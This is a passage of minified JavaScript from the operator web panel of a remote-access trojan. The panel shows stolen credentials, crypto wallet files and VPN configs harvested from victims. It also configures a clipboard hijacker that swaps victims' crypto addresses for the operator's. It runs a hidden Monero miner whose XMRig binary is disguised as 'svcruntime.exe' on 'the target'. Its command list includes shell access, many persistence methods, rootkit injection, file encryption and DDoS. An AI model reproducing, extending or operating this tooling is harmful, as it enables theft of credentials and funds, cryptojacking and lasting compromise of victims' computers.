",i.roblox.cookie.slice(0,40),"..."]}):i.roblox.cookie_file?a.jsxs("button",{onClick:()=>j(i.roblox.cookie_file,"RobloxCookies.dat"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"RobloxCookies.dat"]}):null]}),!((W=i.steam)!=null&&W.found)&&!((Q=i.epic)!=null&&Q.found)&&!((he=i.minecraft)!=null&&he.length)&&!((E=i.roblox)!=null&&E.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx(Rn,{title:"Crypto Wallets",count:((ce=i.wallets)==null?void 0:ce.length)??0,expanded:d.has("wallets"),onToggle:()=>g("wallets"),children:(J=i.wallets)!=null&&J.length?a.jsx("div",{className:"space-y-3 p-4",children:i.wallets.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx(Rn,{title:"VPN Configs",count:((xe=i.vpn)==null?void 0:xe.length)??0,expanded:d.has("vpn"),onToggle:()=>g("vpn"),children:(ke=i.vpn)!=null&&ke.length?a.jsx("div",{className:"space-y-3 p-4",children:i.vpn.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((ze=i.errors)==null?void 0:ze.length)??0)>0&&a.jsx(Rn,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((X,re)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[X.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:X.error})]},re))})})]}),v&&a.jsx("div",{className:`fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent\r + pointer-events-none animate-fade-in`,style:{left:v.x,top:v.y,transform:"translate(-50%, -100%)"},children:v.text}),!i&&!o&&!c&&a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",a.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function Rn({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r + hover:bg-zerin-panel-hover transition-colors`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const dV=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],fV={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function $b(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function mV({agentId:e,agentStatus:t}){const[n,r]=m.useState({...fV}),[i,s]=m.useState(!1),[o,l]=m.useState(!1),[c,u]=m.useState(null),[d,f]=m.useState({}),p=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(N=>({...N,[b]:w}));const j=$b(b,w);f(N=>{const k={...N};return j?k[b]=j:delete k[b],k})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=m.useCallback(async()=>{if(p)return;const b={};for(const[w,j]of Object.entries(n))if(j){const N=$b(w,j);N&&(b[w]=N)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,N]of Object.entries(n))N&&(w[j]=N);await Me(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,p]),v=m.useCallback(async()=>{if(!p){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Me(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Me(e,{command:i?"clipper_stop":"clipper_start"}),s(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,p]);return a.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&a.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg + ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),a.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),a.jsxs("button",{onClick:v,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors + disabled:opacity-30 disabled:cursor-not-allowed + ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),a.jsx("button",{onClick:y,disabled:o||p||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),a.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:dV.map(({key:b,label:w,placeholder:j,color:N})=>a.jsxs("div",{className:"space-y-1",children:[a.jsx("label",{className:`text-xs font-semibold ${N}`,children:w}),a.jsx("input",{type:"text",value:n[b],onChange:k=>x(b,k.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text + placeholder-zerin-text-muted + focus:outline-none focus:ring-1 transition-all + ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&a.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),a.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[a.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),a.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),a.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),a.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),a.jsx("li",{children:"Config can be updated while running"})]})]})]})}const Bb=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function pV({agentId:e,agentStatus:t}){const[n,r]=m.useState(Bb[0]),[i,s]=m.useState(""),[o,l]=m.useState(""),[c,u]=m.useState(50),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),y=m.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(S,O)=>{h({text:S,type:O}),setTimeout(()=>h(null),5e3)};m.useEffect(()=>{if(!e)return;const S=async()=>{try{const O=await Xn(e),A=(O.tasks??[]).filter(T=>T.command==="miner_status").sort((T,P)=>new Date(P.created_at).getTime()-new Date(T.created_at).getTime());if(A.length>0){const T=A[0],P=(O.results??[]).find(D=>D.task_id===T.id);if(P!=null&&P.output)try{const D=JSON.parse(P.output);g(D)}catch{}}}catch{}};return S(),y.current=setInterval(S,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Me(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Me(e,{command:"miner_status"})}catch{}},3e3)}catch(S){w(S instanceof Error?S.message:"Failed to start","err")}finally{f(!1)}},N=async()=>{f(!0);try{await Me(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to stop","err")}finally{f(!1)}},k=async()=>{try{await Me(e,{command:"miner_status"}),w("Status request sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to query status","err")}},z=S=>{const O=Math.floor(S/3600),A=Math.floor(S%3600/60),T=Math.floor(S%60);return O>0?`${O}h ${A}m ${T}s`:A>0?`${A}m ${T}s`:`${T}s`};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),b&&x&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),a.jsx("button",{onClick:k,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),a.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[a.jsx(Ca,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),a.jsx(Ca,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),a.jsx(Ca,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),a.jsx(Ca,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),a.jsx(Ca,{label:"Uptime",value:x.uptime!=null?z(x.uptime):"-"}),a.jsx(Ca,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&a.jsx("div",{className:"px-4 pb-3",children:a.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),a.jsx("select",{value:n,onChange:S=>r(S.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:Bb.map(S=>a.jsx("option",{value:S,children:S},S))})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),a.jsx("input",{type:"text",value:i,onChange:S=>s(S.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),a.jsx("input",{type:"text",value:o,onChange:S=>l(S.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:S=>u(Number(S.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"10%"}),a.jsx("span",{children:"25%"}),a.jsx("span",{children:"50%"}),a.jsx("span",{children:"75%"}),a.jsx("span",{children:"100%"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:b?a.jsxs("button",{onClick:N,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):a.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),a.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:a.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",a.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function Ca({label:e,value:t,valueClass:n}){return a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[a.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const Fb=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],hV={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},Am=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function xV(){const{id:e}=il(),t=xr(),[n,r]=Cx(),[i,s]=m.useState(null),[o,l]=m.useState([]),[c,u]=m.useState([]),[d,f]=m.useState(!0),[p,h]=m.useState(""),[x,g]=m.useState(""),[y,v]=m.useState(!1),[b,w]=m.useState(!1),[j,N]=m.useState(()=>{const $=n.get("tab");return $&&Am.includes($)?$:"overview"}),[k,z]=m.useState(()=>{const $=n.get("tab"),fe=new Set(["overview"]);return $&&Am.includes($)&&fe.add($),fe}),[S,O]=m.useState(null),[A,T]=m.useState(!0),[P,D]=m.useState(!1),[G,R]=m.useState(null),[K,_]=m.useState(new Set),[M,F]=m.useState(()=>n.get("auto")==="1"),[U,V]=m.useState(null),[Z,ae]=m.useState(-1),[ue,be]=m.useState(!1),ye=m.useRef(null);m.useEffect(()=>{z($=>{if($.has(j))return $;const fe=new Set($);return fe.add(j),fe})},[j]),m.useEffect(()=>{z(new Set(["overview"]))},[e]),m.useEffect(()=>{const $=n.get("tab");$&&Am.includes($)&&$!==j&&N($)},[n]);const q=$=>{N($),$==="overview"?n.delete("tab"):n.set("tab",$),r(n,{replace:!0})},te=m.useCallback(async()=>{if(e)try{const $=await ZE(e);s($),h("");try{const fe=await Xn(e);l(fe.tasks??[]),u(fe.results??[])}catch{l([]),u([])}}catch($){s(null);const fe=$ instanceof Error&&"status"in $?$.status:"network";h($ instanceof Error?`${$.message} (${fe})`:String($))}finally{f(!1)}},[e]);m.useEffect(()=>{te();const $=setInterval(te,5e3);return()=>clearInterval($)},[te]),m.useEffect(()=>{if(!e)return;let $=!0;const fe=async()=>{try{const H=await m6(e);$&&V(H)}catch{$&&V(null)}};fe();const ve=setInterval(fe,3e3);return()=>{$=!1,clearInterval(ve)}},[e]),m.useEffect(()=>{if(!S)return;const $=fe=>{fe.key==="Escape"&&O(null)};return window.addEventListener("keydown",$),()=>window.removeEventListener("keydown",$)},[S]);const C=m.useMemo(()=>[...o].sort(($,fe)=>new Date($.created_at).getTime()-new Date(fe.created_at).getTime()),[o]),Y=5e3,ne=m.useMemo(()=>{var fe;const $=[];for(const ve of C){const H=(fe=ve.args)!=null&&fe.length?" "+ve.args.join(" "):"";$.push({type:"command",content:`${ve.command}${H}`,timestamp:ve.created_at});const se=c.find(W=>W.task_id===ve.id);se?(se.error&&$.push({type:"error",content:se.error,timestamp:se.completed_at}),se.output&&$.push({type:"output",content:se.output,timestamp:se.completed_at})):ve.status==="queued"||ve.status==="sent"?$.push({type:"system",content:`[${ve.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):ve.status==="timeout"&&$.push({type:"error",content:"[Task timed out]"})}if($.length>Y){const ve=$.slice($.length-Y);return ve.unshift({type:"system",content:`[Output truncated: showing last ${Y.toLocaleString()} of ${$.length.toLocaleString()} lines]`}),ve}return $},[C,c]),B=m.useMemo(()=>{const $=[];for(const fe of C){if(fe.command!=="screenshot")continue;const ve=c.find(H=>H.task_id===fe.id);if(ve!=null&&ve.data){const H=m_(ve.data)?f_(ve.data):`data:image/png;base64,${ve.data}`;$.push({taskId:fe.id,timestamp:ve.completed_at,dataUrl:H})}}return $},[C,c]),le=x?Fb.filter($=>$.startsWith(x.split(" ")[0])&&$!==x.split(" ")[0]):Fb;async function we($){var se;if($.preventDefault(),!e||!x.trim())return;const fe=x.trim().split(/\s+/),ve=fe[0],H=fe.slice(1);v(!0),w(!1);try{await Me(e,{command:ve,args:H}),g(""),R(null),setTimeout(te,500)}catch(W){R(`[SEND FAILED] ${W instanceof Error?W.message:"Unknown error"}`)}finally{v(!1),(se=ye.current)==null||se.focus()}}function Ne($){var fe;g($+" "),w(!1),(fe=ye.current)==null||fe.focus()}if(d)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"flex flex-col items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),p&&a.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:p}),a.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent + hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-4 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const Ae=i.hostname||"unknown";return a.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim + hover:text-zerin-accent transition-colors px-2 py-1 + hover:bg-zerin-accent-muted`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),a.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:Ae}),a.jsx(xd,{status:i.status,size:"md",showLabel:!0}),a.jsx("span",{className:"font-mono text-xs 